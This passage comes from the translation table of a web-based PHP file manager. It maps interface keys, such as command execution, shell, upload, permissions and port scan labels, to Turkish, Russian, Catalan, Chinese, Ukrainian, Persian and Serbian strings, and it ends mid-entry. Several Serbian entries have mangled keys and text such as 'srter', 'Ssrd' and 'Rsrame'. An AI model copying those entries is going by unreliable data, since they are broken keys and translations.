$et['tr']['ChkVer'] = 'Yeni versiyonu kontrol et'; $et['tr']['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.'; $et['tr']['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.'; $et['tr']['ChkVerError'] = 'Baglanti hatasi'; $et['tr']['Website'] = 'Website'; $et['tr']['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin'; $et['tr']['NoFileSel'] = 'Secili dosya yok'; $et['tr']['SelAll'] = 'Hepsi'; $et['tr']['SelNone'] = 'Hicbiri'; $et['tr']['SelInverse'] = 'Ters'; $et['tr']['Selected_s'] = 'Secili oge(ler)'; $et['tr']['Total'] = 'Toplam'; $et['tr']['Partition'] = 'Bolme'; $et['tr']['RenderTime'] = 'Olusturuluyor'; $et['tr']['Seconds'] = 'Saniye'; $et['tr']['ErrorReport'] = 'Hata raporu'; // Russian - by Евгений Рашев, Алексей Гаврюшин $et['ru']['Version']='Версия'; $et['ru']['DocRoot']='Корневая папка'; $et['ru']['FMRoot']='Корневая папка файлового менеджера'; $et['ru']['Name']='Имя'; $et['ru']['And']='и'; $et['ru']['Enter']='Войти'; $et['ru']['Send']='Отправить'; $et['ru']['Refresh']='Обновить'; $et['ru']['SaveConfig']='Сохранить конфигурацию'; $et['ru']['SavePass']='Сохранить пароль'; $et['ru']['SaveFile']='Сохранить файл'; $et['ru']['Save']='Сохранить'; $et['ru']['Leave']='Уйти'; $et['ru']['Edit']='Изменить'; $et['ru']['View']='Просмотр'; $et['ru']['Config']='Настройки'; $et['ru']['Ren']='Переименовать'; $et['ru']['Rem']='Удалить'; $et['ru']['Compress']='Сжать'; $et['ru']['Decompress']='Распаковать'; $et['ru']['ResolveIDs']='Определить ID'; $et['ru']['Move']='Переместить'; $et['ru']['Copy']='Копировать'; $et['ru']['ServerInfo']='Инфо о сервере'; $et['ru']['CreateDir']='Создать папку'; $et['ru']['CreateArq']='Создать файл'; $et['ru']['ExecCmd']='Выполнить'; $et['ru']['Upload']='Загрузить'; $et['ru']['UploadEnd']='Загружено'; $et['ru']['Perm']='Права'; $et['ru']['Perms']='Разрешения'; $et['ru']['Owner']='Владелец'; $et['ru']['Group']='Группа'; $et['ru']['Other']='Другие'; $et['ru']['Size']='Размер'; $et['ru']['Date']='Дата'; $et['ru']['Type']='Тип'; $et['ru']['Free']='Свободно'; $et['ru']['Shell']='Командная строка'; $et['ru']['Read']='Читать'; $et['ru']['Write']='Писать'; $et['ru']['Exec']='Выполнять'; $et['ru']['Apply']='Применить'; $et['ru']['StickyBit']='StickyBit'; $et['ru']['Pass']='Пароль'; $et['ru']['Lang']='Язык'; $et['ru']['File']='Файл'; $et['ru']['File_s']='Файл(ы)'; $et['ru']['Dir_s']='Папка/и'; $et['ru']['To']='в'; $et['ru']['Destination']='Конечная папка'; $et['ru']['Configurations']='Конфигурация'; $et['ru']['JSError']='Ошибка JavaScript'; $et['ru']['NoSel']='Нет выбранных элементов'; $et['ru']['SelDir']='Выберите папку назначения в левом дереве'; $et['ru']['TypeDir']='Введите имя папки'; $et['ru']['TypeArq']='Введите имя файла'; $et['ru']['TypeCmd']='Введите команду'; $et['ru']['TypeArqComp']='Введите имя и расширение файла.\\nРасширение определит тип сжатия.\\n Пример: \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip '; $et['ru']['RemSel']='Удалить выбранные элементы'; $et['ru']['NoDestDir']='Не выбрана папка назначения'; $et['ru']['DestEqOrig']='Исходные и конечные папки равны'; $et['ru']['InvalidDest']='Конечная папка недействительна'; $et['ru']['NoNewPerm']='Новые разрешения не установлены'; $et['ru']['CopyTo']='Копировать в'; $et['ru']['MoveTo']='Переместить в'; $et['ru']['AlterPermTo']='Измененить разрешения на'; $et['ru']['ConfExec']='Подтвердить ВЫПОЛНЕНИЕ'; $et['ru']['ConfRem']='Подтвердить УДАЛЕНИЕ'; $et['ru']['EmptyDir']='Пустая папка'; $et['ru']['IOError']='Ошибка I/O'; $et['ru']['FileMan']='Файловый менеджер'; $et['ru']['TypePass']='Введите пароль'; $et['ru']['InvPass']='Неверный пароль'; $et['ru']['ReadDenied']='Доступ запрещен'; $et['ru']['FileNotFound']='Файл не найден'; $et['ru']['AutoClose']='Закрыть после окончания'; $et['ru']['OutDocRoot']='Файлы за пределами DOCUMENT_ROOT'; $et['ru']['NoCmd']='Ошибка: Команда не поддерживается'; $et['ru']['ConfTrySave']='Файл без прав на запись.\\nПопытаться сохранить'; $et['ru']['ConfSaved']='Конфигурация сохранена'; $et['ru']['PassSaved']='Пароль сохранен'; $et['ru']['FileDirExists']='Файл или папка уже существует'; $et['ru']['NoPhpinfo']='Функция PHPInfo отключена'; $et['ru']['NoReturn']='Нет возврата'; $et['ru']['FileSent']='Файл отправлен'; $et['ru']['SpaceLimReached']='Память полностью заполнена'; $et['ru']['InvExt']='Недействительное расширение'; $et['ru']['FileNoOverw']='Файл не может быть перезаписан'; $et['ru']['FileOverw']='Файл перезаписан'; $et['ru']['FileIgnored']='Файл игнорирован'; $et['ru']['ChkVer']='Поиск обновлений'; $et['ru']['ChkVerAvailable']=' Доступна новая версия; нажмите здесь, чтобы начать загрузку!'; $et['ru']['ChkVerNotAvailable']='Не найдено новой версии.'; $et['ru']['ChkVerError']='Ошибка подключения.'; $et['ru']['Website']='Сайт'; $et['ru']['SendingForm']='Отправка файлов; пожалуйста, подождите'; $et['ru']['NoFileSel']='Нет выбранных файлов'; $et['ru']['SelAll']='Выделить все'; $et['ru']['SelNone']='Отмена'; $et['ru']['SelInverse']='Обратить выбор'; $et['ru']['Selected_s']='Выбран(ы)'; $et['ru']['Total']='Всего'; $et['ru']['Partition']='Раздел'; $et['ru']['RenderTime']='Скрипт выполнен за'; $et['ru']['Seconds']='секунд'; $et['ru']['ErrorReport']='Отчет об ошибках'; // Catalan - by Pere Borràs AKA @Norl $et['ca']['Version'] = 'Versió'; $et['ca']['DocRoot'] = 'Arrel del programa'; $et['ca']['FMRoot'] = 'Arrel de l`administrador d`arxius'; $et['ca']['Name'] = 'Nom'; $et['ca']['And'] = 'i'; $et['ca']['Enter'] = 'Entrar'; $et['ca']['Send'] = 'Enviar'; $et['ca']['Refresh'] = 'Refrescar'; $et['ca']['SaveConfig'] = 'Desar configuracions'; $et['ca']['SavePass'] = 'Desar clau'; $et['ca']['SaveFile'] = 'Desar Arxiu'; $et['ca']['Save'] = 'Desar'; $et['ca']['Leave'] = 'Sortir'; $et['ca']['Edit'] = 'Editar'; $et['ca']['View'] = 'Mirar'; $et['ca']['Config'] = 'Config.'; $et['ca']['Ren'] = 'Canviar nom'; $et['ca']['Rem'] = 'Esborrar'; $et['ca']['Compress'] = 'Comprimir'; $et['ca']['Decompress'] = 'Descomprimir'; $et['ca']['ResolveIDs'] = 'Resoldre IDs'; $et['ca']['Move'] = 'Moure'; $et['ca']['Copy'] = 'Copiar'; $et['ca']['ServerInfo'] = 'Info del Server'; $et['ca']['CreateDir'] = 'Crear Directori'; $et['ca']['CreateArq'] = 'Crear Arxiu'; $et['ca']['ExecCmd'] = 'Executar Comandament'; $et['ca']['Upload'] = 'Pujar'; $et['ca']['UploadEnd'] = 'Pujat amb èxit'; $et['ca']['Perm'] = 'Perm'; $et['ca']['Perms'] = 'Permisos'; $et['ca']['Owner'] = 'Propietari'; $et['ca']['Group'] = 'Grup'; $et['ca']['Other'] = 'Altre'; $et['ca']['Size'] = 'Tamany'; $et['ca']['Date'] = 'Data'; $et['ca']['Type'] = 'Tipus'; $et['ca']['Free'] = 'lliure'; $et['ca']['Shell'] = 'Executar'; $et['ca']['Read'] = 'Llegir'; $et['ca']['Write'] = 'Escriure'; $et['ca']['Exec'] = 'Executar'; $et['ca']['Apply'] = 'Aplicar'; $et['ca']['StickyBit'] = 'Sticky Bit'; $et['ca']['Pass'] = 'Clau'; $et['ca']['Lang'] = 'Llenguatje'; $et['ca']['File'] = 'Arxius'; $et['ca']['File_s'] = 'arxiu(s)'; $et['ca']['Dir_s'] = 'directori(s)'; $et['ca']['To'] = 'a'; $et['ca']['Destination'] = 'Destí'; $et['ca']['Configurations'] = 'Configuracions'; $et['ca']['JSError'] = 'Error de JavaScript'; $et['ca']['NoSel'] = 'No hi ha items seleccionats'; $et['ca']['SelDir'] = 'Seleccioneu el directori de destí a l`arbre de la dreta'; $et['ca']['TypeDir'] = 'Escrigui el nom del directori'; $et['ca']['TypeArq'] = 'Escrigui el nom de l`arxiu'; $et['ca']['TypeCmd'] = 'Escrigui el comandament'; $et['ca']['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensió definirà el tipus de compressió.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip'; $et['ca']['RemSel'] = 'ESBORRAR items seleccionats'; $et['ca']['NoDestDir'] = 'No s`ha seleccionat el directori de destí'; $et['ca']['DestEqOrig'] = 'L`origen i el destí són iguals'; $et['ca']['InvalidDest'] = 'El destí del directori és invàlid'; $et['ca']['NoNewPerm'] = 'Els permisos no s`han pogut establir'; $et['ca']['CopyTo'] = 'COPIAR a'; $et['ca']['MoveTo'] = 'MOURE a'; $et['ca']['AlterPermTo'] = 'CAMBIAR PERMISOS a'; $et['ca']['ConfExec'] = 'Confirmar EXECUCIÓ'; $et['ca']['ConfRem'] = 'Confirmar ESBORRAT'; $et['ca']['EmptyDir'] = 'Directori buit'; $et['ca']['IOError'] = 'Error I/O'; $et['ca']['FileMan'] = 'PHP File Manager'; $et['ca']['TypePass'] = 'Escrigui la clau'; $et['ca']['InvPass'] = 'Clau invàlida'; $et['ca']['ReadDenied'] = 'Accés de lectura denegat'; $et['ca']['FileNotFound'] = 'Arxiu no trobat'; $et['ca']['AutoClose'] = 'Tancar al completar'; $et['ca']['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT'; $et['ca']['NoCmd'] = 'Error: No s`ha escrit cap comandament'; $et['ca']['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc'; $et['ca']['ConfSaved'] = 'Configuració Desada'; $et['ca']['PassSaved'] = 'Clau desada'; $et['ca']['FileDirExists'] = 'Arxiu o directori ja existent'; $et['ca']['NoPhpinfo'] = 'Funció phpinfo() no habilitada'; $et['ca']['NoReturn'] = 'sense retorn'; $et['ca']['FileSent'] = 'Arxiu enviat'; $et['ca']['SpaceLimReached'] = 'Límit d`espaci al disc assolit'; $et['ca']['InvExt'] = 'Extensió no vàlida'; $et['ca']['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit'; $et['ca']['FileOverw'] = 'Arxiu sobreescrit'; $et['ca']['FileIgnored'] = 'Arxiu ignorat'; $et['ca']['ChkVer'] = 'Revisar les actualitzacions'; $et['ca']['ChkVerAvailable'] = 'Nova versió, feu clic aquí per descarregar'; $et['ca']['ChkVerNotAvailable'] = 'La vostra versió és la més recent.'; $et['ca']['ChkVerError'] = 'Error de connexió.'; $et['ca']['Website'] = 'Lloc Web'; $et['ca']['SendingForm'] = 'Enviant arxius, esperi'; $et['ca']['NoFileSel'] = 'Cap arxiu seleccionat'; $et['ca']['SelAll'] = 'Tots'; $et['ca']['SelNone'] = 'Cap'; $et['ca']['SelInverse'] = 'Invers'; $et['ca']['Selected_s'] = 'seleccionat'; $et['ca']['Total'] = 'total'; $et['ca']['Partition'] = 'Partició'; $et['ca']['RenderTime'] = 'Generat en'; $et['ca']['Seconds'] = 'seg'; $et['ca']['ErrorReport'] = 'Informe d`error'; // Chinese - by Wen.Xin $et['cn']['Version'] = '版本'; $et['cn']['DocRoot'] = '文档根目录'; $et['cn']['FMRoot'] = '文件管理根目录'; $et['cn']['Name'] = '名称'; $et['cn']['And'] = '&'; $et['cn']['Enter'] = '确认'; $et['cn']['Send'] = '确认'; $et['cn']['Refresh'] = '刷新'; $et['cn']['SaveConfig'] = '保存设置'; $et['cn']['SavePass'] = '保存密码'; $et['cn']['SaveFile'] = '保存文件'; $et['cn']['Save'] = '保存'; $et['cn']['Leave'] = '离开'; $et['cn']['Edit'] = '编辑'; $et['cn']['View'] = '查看'; $et['cn']['Config'] = '设置'; $et['cn']['Ren'] = '重命名'; $et['cn']['Rem'] = '删除'; $et['cn']['Compress'] = '压缩'; $et['cn']['Decompress'] = '解压缩'; $et['cn']['ResolveIDs'] = 'Resolve IDs'; $et['cn']['Move'] = '移动'; $et['cn']['Copy'] = '复制'; $et['cn']['ServerInfo'] = '服务器信息'; $et['cn']['CreateDir'] = '新建文件夹'; $et['cn']['CreateArq'] = '新建文件'; $et['cn']['ExecCmd'] = '执行命令'; $et['cn']['Upload'] = '上传'; $et['cn']['UploadEnd'] = '上传完成'; $et['cn']['Perm'] = '权限'; $et['cn']['Perms'] = '权限'; $et['cn']['Owner'] = '所有者'; $et['cn']['Group'] = '组'; $et['cn']['Other'] = '公共'; $et['cn']['Size'] = '大小'; $et['cn']['Date'] = '日期'; $et['cn']['Type'] = 'Type'; $et['cn']['Free'] = '空闲'; $et['cn']['Shell'] = '命令行'; $et['cn']['Read'] = '读取'; $et['cn']['Write'] = '写入'; $et['cn']['Exec'] = '执行'; $et['cn']['Apply'] = '应用'; $et['cn']['StickyBit'] = '粘滞'; $et['cn']['Pass'] = '密码'; $et['cn']['Lang'] = '语言'; $et['cn']['File'] = '文件'; $et['cn']['File_s'] = '文件'; $et['cn']['Dir_s'] = '文件夹'; $et['cn']['To'] = '为'; $et['cn']['Destination'] = '目标'; $et['cn']['Configurations'] = '设置'; $et['cn']['JSError'] = 'JavaScript 错误'; $et['cn']['NoSel'] = '未选择项目'; $et['cn']['SelDir'] = '从左边树目录选择目标文件夹'; $et['cn']['TypeDir'] = '输入文件夹名称'; $et['cn']['TypeArq'] = '输入文件名'; $et['cn']['TypeCmd'] = '输入命令'; $et['cn']['TypeArqComp'] = '输入文件名.\\n扩展名将定义压缩类型.\\n例如:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['cn']['RemSel'] = '删除选定项目'; $et['cn']['NoDestDir'] = '未选定目标文件夹'; $et['cn']['DestEqOrig'] = '目标文件夹与源文件夹相同'; $et['cn']['InvalidDest'] = '目标文件夹无效'; $et['cn']['NoNewPerm'] = '未设置新权限'; $et['cn']['CopyTo'] = '复制到'; $et['cn']['MoveTo'] = '移动到'; $et['cn']['AlterPermTo'] = '修改权限为'; $et['cn']['ConfExec'] = '确认执行'; $et['cn']['ConfRem'] = '确认删除'; $et['cn']['EmptyDir'] = '空文件夹'; $et['cn']['IOError'] = 'I/O 错误'; $et['cn']['FileMan'] = 'PHP文件管理器' ; $et['cn']['TypePass'] = '输入密码'; $et['cn']['InvPass'] = '无效密码'; $et['cn']['ReadDenied'] = '拒绝读取访问'; $et['cn']['FileNotFound'] = '文件未找到'; $et['cn']['AutoClose'] = '完成时关闭'; $et['cn']['OutDocRoot'] = '文件超出 DOCUMENT_ROOT'; $et['cn']['NoCmd'] = '错误: 指令无法识别'; $et['cn']['ConfTrySave'] = '文件无-写入-权限.\\n尝试保存.'; $et['cn']['ConfSaved'] = '设置密码'; $et['cn']['PassSaved'] = '保存密码'; $et['cn']['FileDirExists'] = '文件或目录已经存在'; $et['cn']['NoPhpinfo'] = '函数 phpinfo 被禁用'; $et['cn']['NoReturn'] = '无结果'; $et['cn']['FileSent'] = '发送文件'; $et['cn']['SpaceLimReached'] = '磁盘空间限制'; $et['cn']['InvExt'] = '无效的扩展'; $et['cn']['FileNoOverw'] = '文件无法被覆盖'; $et['cn']['FileOverw'] = '覆盖文件'; $et['cn']['FileIgnored'] = '忽略文件'; $et['cn']['ChkVer'] = '检查新版本'; $et['cn']['ChkVerAvailable'] = '有新版本, 点击此处开始下载!!'; $et['cn']['ChkVerNotAvailable'] = '没有新版本可用. :('; $et['cn']['ChkVerError'] = '连接错误.'; $et['cn']['Website'] = '官方网站'; $et['cn']['SendingForm'] = '发送文件中, 请稍候...'; $et['cn']['NoFileSel'] = '未选择文件'; $et['cn']['SelAll'] = '全选'; $et['cn']['SelNone'] = '取消'; $et['cn']['SelInverse'] = '反选'; $et['cn']['Selected_s'] = '选择'; $et['cn']['Total'] = '总共'; $et['cn']['Partition'] = '分区'; $et['cn']['RenderTime'] = '此界面渲染耗时'; $et['cn']['Seconds'] = '秒'; $et['cn']['ErrorReport'] = '错误报告级别'; $et['cn']['Close'] = '关闭'; $et['cn']['SetPass'] = '设置密码'; $et['cn']['ChangePass'] = '修改密码'; $et['cn']['Portscan'] = '端口扫描'; // Ukrainian - by Андрій Литвин $et['ua']['Version']='Версія'; $et['ua']['DocRoot']='Коренева тека'; $et['ua']['FMRoot']='Коренева тека файлового менеджера'; $et['ua']['Name']='Им\'я'; $et['ua']['And']='і'; $et['ua']['Enter']='Увійти'; $et['ua']['Send']='Відправити'; $et['ua']['Refresh']='Оновити'; $et['ua']['SaveConfig']='Зберегти налаштування'; $et['ua']['SavePass']='Зберегти пароль'; $et['ua']['SaveFile']='Зберегти файл'; $et['ua']['Save']='Зберегти'; $et['ua']['Leave']='Вихід'; $et['ua']['Edit']='Змінити'; $et['ua']['View']='Перегляд'; $et['ua']['Config']='Налаштування'; $et['ua']['Ren']='Перейменувати'; $et['ua']['Rem']='Видалити'; $et['ua']['Compress']='Стиснути'; $et['ua']['Decompress']='Видобути з архіву'; $et['ua']['ResolveIDs']='Визначити ID'; $et['ua']['Move']='Перемістити'; $et['ua']['Copy']='Копіювати'; $et['ua']['ServerInfo']='Инфо о сервере'; $et['ua']['CreateDir']='Створити теку'; $et['ua']['CreateArq']='Створити файл'; $et['ua']['ExecCmd']='Виконати'; $et['ua']['Upload']='Завантажити'; $et['ua']['UploadEnd']='Завантажено'; $et['ua']['Perm']='Права'; $et['ua']['Perms']='Дозволи'; $et['ua']['Owner']='Власник'; $et['ua']['Group']='Група'; $et['ua']['Other']='Інші'; $et['ua']['Size']='Розмір'; $et['ua']['Date']='Дата'; $et['ua']['Type']='Тип'; $et['ua']['Free']='Вільно простору'; $et['ua']['Shell']='Командний рядок'; $et['ua']['Read']='Читати'; $et['ua']['Write']='Писати'; $et['ua']['Exec']='Виконати'; $et['ua']['Apply']='Застосувати'; $et['ua']['StickyBit']='StickyBit'; $et['ua']['Pass']='Пароль'; $et['ua']['Lang']='Мова'; $et['ua']['File']='Файл'; $et['ua']['File_s']='Файл(и)'; $et['ua']['Dir_s']='Тека(и)'; $et['ua']['To']='в'; $et['ua']['Destination']='Кінцева тека'; $et['ua']['Configurations']='Конфігурація'; $et['ua']['JSError']='Помилка JavaScript'; $et['ua']['NoSel']='Не обрано жодного елементу'; $et['ua']['SelDir']='Выберіть теку призначення у дереві ліворуч'; $et['ua']['TypeDir']='Введіть им\'я теки'; $et['ua']['TypeArq']='Введіть им\'я файла'; $et['ua']['TypeCmd']='Введіть команду'; $et['ua']['TypeArqComp']='Введіть им\'я і розширення файлу.\\nРозширення визаче тип стиснення.\\n Наприклад: \\n name.zip \\n name.tar \\n name.bzip \\n name.gzip '; $et['ua']['RemSel']='Видалити обрані елементи'; $et['ua']['NoDestDir']='Тека призначення не обана'; $et['ua']['DestEqOrig']='Оберіть іншу теку'; $et['ua']['InvalidDest']='Помилковий напрямок'; $et['ua']['NoNewPerm']='Нові дозволи на файл не встановлені'; $et['ua']['CopyTo']='Копіювати у'; $et['ua']['MoveTo']='Перемістити у'; $et['ua']['AlterPermTo']='Змінити дозволи на'; $et['ua']['ConfExec']='Підтвердити ВИКОНАННЯ'; $et['ua']['ConfRem']='Підтвердити ВИДАЛЕННЯ'; $et['ua']['EmptyDir']='Порожня тека'; $et['ua']['IOError']='Помилка I/O'; $et['ua']['FileMan']='Файловий менеджер'; $et['ua']['TypePass']='Введіть пароль'; $et['ua']['InvPass']='Пароль хибний'; $et['ua']['ReadDenied']='Доступ заборонено'; $et['ua']['FileNotFound']='Файл не знайдено'; $et['ua']['AutoClose']='Закрити після закінчення'; $et['ua']['OutDocRoot']='Файли за межами DOCUMENT_ROOT'; $et['ua']['NoCmd']='Помилка: Команда не підтримується'; $et['ua']['ConfTrySave']='Файл без права на запис.\\nСпробувати зберегти'; $et['ua']['ConfSaved']='Конфігурація збережена'; $et['ua']['PassSaved']='Пароль збережено'; $et['ua']['FileDirExists']='Файл або тека уже існує'; $et['ua']['NoPhpinfo']='Функція PHPInfo вимкнена'; $et['ua']['NoReturn']='Без відповіді'; $et['ua']['FileSent']='Файл надіслано'; $et['ua']['SpaceLimReached']='Пам\'ять повністью заповнена'; $et['ua']['InvExt']='Розширення хибне'; $et['ua']['FileNoOverw']='Файл не може бути перезаписаний'; $et['ua']['FileOverw']='Файл перезаписаний'; $et['ua']['FileIgnored']='Файл ігноровано'; $et['ua']['ChkVer']='Пошук обновленнь'; $et['ua']['ChkVerAvailable']=' Доступна нова версія; натисніть тут, щоб почати оновлення!'; $et['ua']['ChkVerNotAvailable']='Не знайдено новох версії.'; $et['ua']['ChkVerError']='Помилка підключення.'; $et['ua']['Website']='Сайт'; $et['ua']['SendingForm']='Надсилаю фалйи; будьласка, чекайте'; $et['ua']['NoFileSel']='Оберіть файли'; $et['ua']['SelAll']='Обрати все'; $et['ua']['SelNone']='Відмінити'; $et['ua']['SelInverse']='Зворотній відбір'; $et['ua']['Selected_s']='Обрано(і)'; $et['ua']['Total']='Всьго'; $et['ua']['Partition']='Розділ'; $et['ua']['RenderTime']='Виконано за'; $et['ua']['Seconds']='секунд'; $et['ua']['ErrorReport']='Звіт про помилки'; // Persian/Dari - by Opensecure $et['fa']['Version'] = 'نسخه'; $et['fa']['DocRoot'] = 'ریشه سند'; $et['fa']['FMRoot'] = 'ریشه مدیریت فایل'; $et['fa']['DateFormat'] = 'فرمت تاریخ'; $et['fa']['GetSize'] = 'Get size'; $et['fa']['Error'] = 'Error'; $et['fa']['Name'] = 'نام'; $et['fa']['And'] = 'و'; $et['fa']['Enter'] = 'وارد شدن'; $et['fa']['Send'] = 'ارسال'; $et['fa']['Refresh'] = 'تازه سازی'; $et['fa']['SaveConfig'] = 'ذخیره تنظیمات'; //$et['fa']['SavePass'] = 'ذخیره رمز'; //$et['fa']['TypePass'] = 'رمز خود را وارد نمایید'; $et['fa']['SaveFile'] = 'ذخیره فایل'; $et['fa']['Save'] = 'ذخیره'; $et['fa']['Leave'] = 'ترک کردن'; $et['fa']['Edit'] = 'ویرایش'; $et['fa']['View'] = 'نمایش'; $et['fa']['Config'] = 'تنظیم'; $et['fa']['Ren'] = 'تغییر نام'; $et['fa']['Rem'] = 'حذف'; $et['fa']['Compress'] = 'فشرده سازی'; $et['fa']['Decompress'] = 'باز کردن فایل فشرده'; $et['fa']['ResolveIDs'] = 'رفع IDs'; $et['fa']['Move'] = 'انتقال'; $et['fa']['Copy'] = 'کپی'; $et['fa']['ServerInfo'] = 'معلومات سرور'; $et['fa']['CreateDir'] = 'ساخت دایرکتوری'; $et['fa']['CreateArq'] = 'ساخت فایل'; $et['fa']['Symlink'] = 'Symlink'; $et['fa']['HardLink'] = 'Hardlink'; $et['fa']['ExecCmd'] = 'احرای دستور'; $et['fa']['Upload'] = 'بارگذاری'; $et['fa']['UploadEnd'] = 'اتمام بارگذاری'; $et['fa']['Perm'] = 'دسترسی'; $et['fa']['Perms'] = 'دسترسی ها'; $et['fa']['Owner'] = 'مالک'; $et['fa']['Group'] = 'گروه'; $et['fa']['Other'] = 'متفقره'; $et['fa']['Size'] = 'حجم'; $et['fa']['Date'] = 'تاریخ'; $et['fa']['Type'] = 'نوعیت'; $et['fa']['Free'] = 'خالی'; $et['fa']['Shell'] = 'فرامین'; $et['fa']['Read'] = 'خواندن'; $et['fa']['Write'] = 'نوشتن'; $et['fa']['Exec'] = 'اجرا'; $et['fa']['Apply'] = 'استفاده'; $et['fa']['StickyBit'] = 'Sticky Bit'; $et['fa']['Pass'] = 'رمز'; $et['fa']['Lang'] = 'زبان'; $et['fa']['File'] = 'فایل'; $et['fa']['File_s'] = 'فایل(ها)'; $et['fa']['Dir_s'] = 'فولدر(ها)'; $et['fa']['To'] = 'به'; $et['fa']['Destination'] = 'مقصد'; $et['fa']['Configurations'] = 'تنظیمات'; $et['fa']['JSError'] = 'خطای JS'; $et['fa']['NoSel'] = 'هیچ آیتمی انتخاب نشده'; $et['fa']['SelDir'] = 'فولدر مقصد را از لیست سمت چپ انتخاب کنید'; $et['fa']['TypeDir'] = 'نام فولدر را وارد کنید'; $et['fa']['TypeArq'] = 'نام فایل را وارد کنید'; $et['fa']['TypeCmd'] = 'فرمان را وارد کنید'; $et['fa']['TypeArqComp'] = 'نام فایل را وارد کنید.\\nپسوند از نوع فشرده تعیین خواهد شد.\\nمثال:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['fa']['RemSel'] = 'آیتم ها انتخاب شده پاک خواهند شد'; $et['fa']['NoDestDir'] = 'فولدر مقصد انتخاب نشده'; $et['fa']['DestEqOrig'] = 'فولدر مبدا و مقصد یکسان است'; $et['fa']['InvalidDest'] = 'فولدر مقصد اشتباه است'; $et['fa']['NoNewPerm'] = 'دسترسی جدید اعمال نشده'; $et['fa']['CopyTo'] = 'کپی به'; $et['fa']['MoveTo'] = 'انتقال به'; $et['fa']['AlterPermTo'] = 'نغییر دسترسی به'; $et['fa']['ConfExec'] = 'تایید برای اجرا'; $et['fa']['ConfRem'] = 'تایید برای پاک کردن'; $et['fa']['EmptyDir'] = 'فولدر خالی'; $et['fa']['IOError'] = 'خطای I/O'; $et['fa']['FileMan'] = 'مدیریت فایل پی اچ پی'; $et['fa']['InvPass'] = 'رمز اشتباه'; $et['fa']['ReadDenied'] = 'عدم دسترسی خواند'; $et['fa']['FileNotFound'] = 'فایل پیدا نشد'; $et['fa']['AutoClose'] = 'بستن در صورت تکمیل شدن'; $et['fa']['OutDocRoot'] = 'فایل خارج از DOCUMENT_ROOT'; $et['fa']['NoCmd'] = 'خطا: فرمان شناخته نشد'; $et['fa']['ConfTrySave'] = 'فایل بدون دسترسی نوشتن.\\nتلاش برای ذخیره'; $et['fa']['ConfSaved'] = 'تنظیمات ذخیره شدند'; $et['fa']['PassSaved'] = 'رمز ذخیره شد'; $et['fa']['FileDirExists'] = 'فایل یا فولدر موجود است'; $et['fa']['NoPhpinfo'] = 'تابع phpinfo غیر فعال است'; $et['fa']['NoReturn'] = 'بدون بازگشت'; $et['fa']['FileSent'] = 'فایل ارسال شد'; $et['fa']['SpaceLimReached'] = 'به محدودیت فضا رسید'; $et['fa']['InvExt'] = 'پسمند اشتباه'; $et['fa']['FileNoOverw'] = 'فایل امکان دوباره نویسی ندارد'; $et['fa']['FileOverw'] = 'فایل دوباره نویسی شد'; $et['fa']['FileIgnored'] = 'فایل رد شد'; $et['fa']['ChkVer'] = 'بررسی نسخه جدید'; $et['fa']['ChkVerAvailable'] = 'نسخه جدید, برای دانلود اینجا کلیک کنید!!'; $et['fa']['ChkVerNotAvailable'] = 'نسخه جدید موجود نمی باشد. :('; $et['fa']['ChkVerError'] = 'خطا در اتصال.'; $et['fa']['Website'] = 'وبسایت'; $et['fa']['SendingForm'] = 'در حال ارسال فایل ها, لطفا منتظر باشید'; $et['fa']['NoFileSel'] = 'هیچ فایلی انتخاب نشده'; $et['fa']['SelAll'] = 'همه'; $et['fa']['SelNone'] = 'هیچکدام'; $et['fa']['SelInverse'] = 'معکوس'; $et['fa']['Selected_s'] = 'انتخاب شده اند'; $et['fa']['Total'] = 'مجموع'; $et['fa']['Partition'] = 'پارتیشن'; $et['fa']['RenderTime'] = 'زمان برای تحویل این صفحه'; $et['fa']['Seconds'] = 'ثانیه'; $et['fa']['ErrorReport'] = 'خطرا در گزارش'; $et['fa']['Close'] = 'بستن'; $et['fa']['SetPass'] = 'تعیین پسورد'; $et['fa']['ChangePass'] = 'تغییر پسورد'; $et['fa']['Portscan'] = 'Portscan'; $et['fa']['PHPOpenBasedir'] = 'PHP Open Basedir'; $et['fa']['PHPOpenBasedirFullAccess'] = '(ثابت نشده) دسترسی کامل'; $et['fa']['About'] = 'درباره'; $et['fa']['FileSaved'] = 'فایل ذخیره شد'; $et['fa']['FileSaveError'] = 'خطا در ذخیره فایل'; // Serbian - by Miroljub Sunajko $et['sr']['Version'] = 'Verzija'; $et['sr']['DocRoot'] = 'Koren dokumenta'; $et['sr']['FMRoot'] = 'Koren menadžera datoteka'; $et['sr']['DateFormat'] = 'Foramt datuma'; $et['sr']['GetSize'] = 'dobivanje veličine'; $et['sr']['Error'] = 'Greška'; $et['sr']['Name'] = 'Ime'; $et['sr']['And'] = 'i'; $et['sr']['srter'] = 'srter'; $et['sr']['Ssrd'] = 'Ssrd'; $et['sr']['Refresh'] = 'Osveži'; $et['sr']['SaveConfig'] = 'Sačuvaj konfiguraciju'; //$et['sr']['SavePass'] = 'Save Password'; //$et['sr']['TypePass'] = 'srter the password'; $et['sr']['SaveFile'] = 'Sačuvaj datoteku'; $et['sr']['Save'] = 'Sačuvaj'; $et['sr']['Leave'] = 'Napusti'; $et['sr']['Edit'] = 'Urediti'; $et['sr']['View'] = 'Pogledati'; $et['sr']['Config'] = 'Konfig'; $et['sr']['Ren'] = 'Preimenovati'; $et['sr']['Rsr'] = 'Rsrame'; $et['sr']['Rem'] = 'Izbriši'; $et['sr']['Compress'] = 'Komprimiraj'; $et['sr']['Decompress'] = 'Dekomprimiraj'; $et['sr']['ResolveIDs'] = 'Rešavanje IDs'; $et['sr']['Move'] = 'Premesti'; $et['sr']['Copy'] = 'Kopiraj'; $et['sr']['ServerInfo'] = 'Podaci o serveru'; $et['sr']['CreateDir'] = 'Kreiraj direktorijum'; $et['sr']['CreateArq'] = 'Kreiraj datoteku'; $et['sr']['Symlink'] = 'Symlink'; $et['sr']['HardLink'] = 'Hard veza'; $et['sr']['ExecCmd'] = 'Izvrši 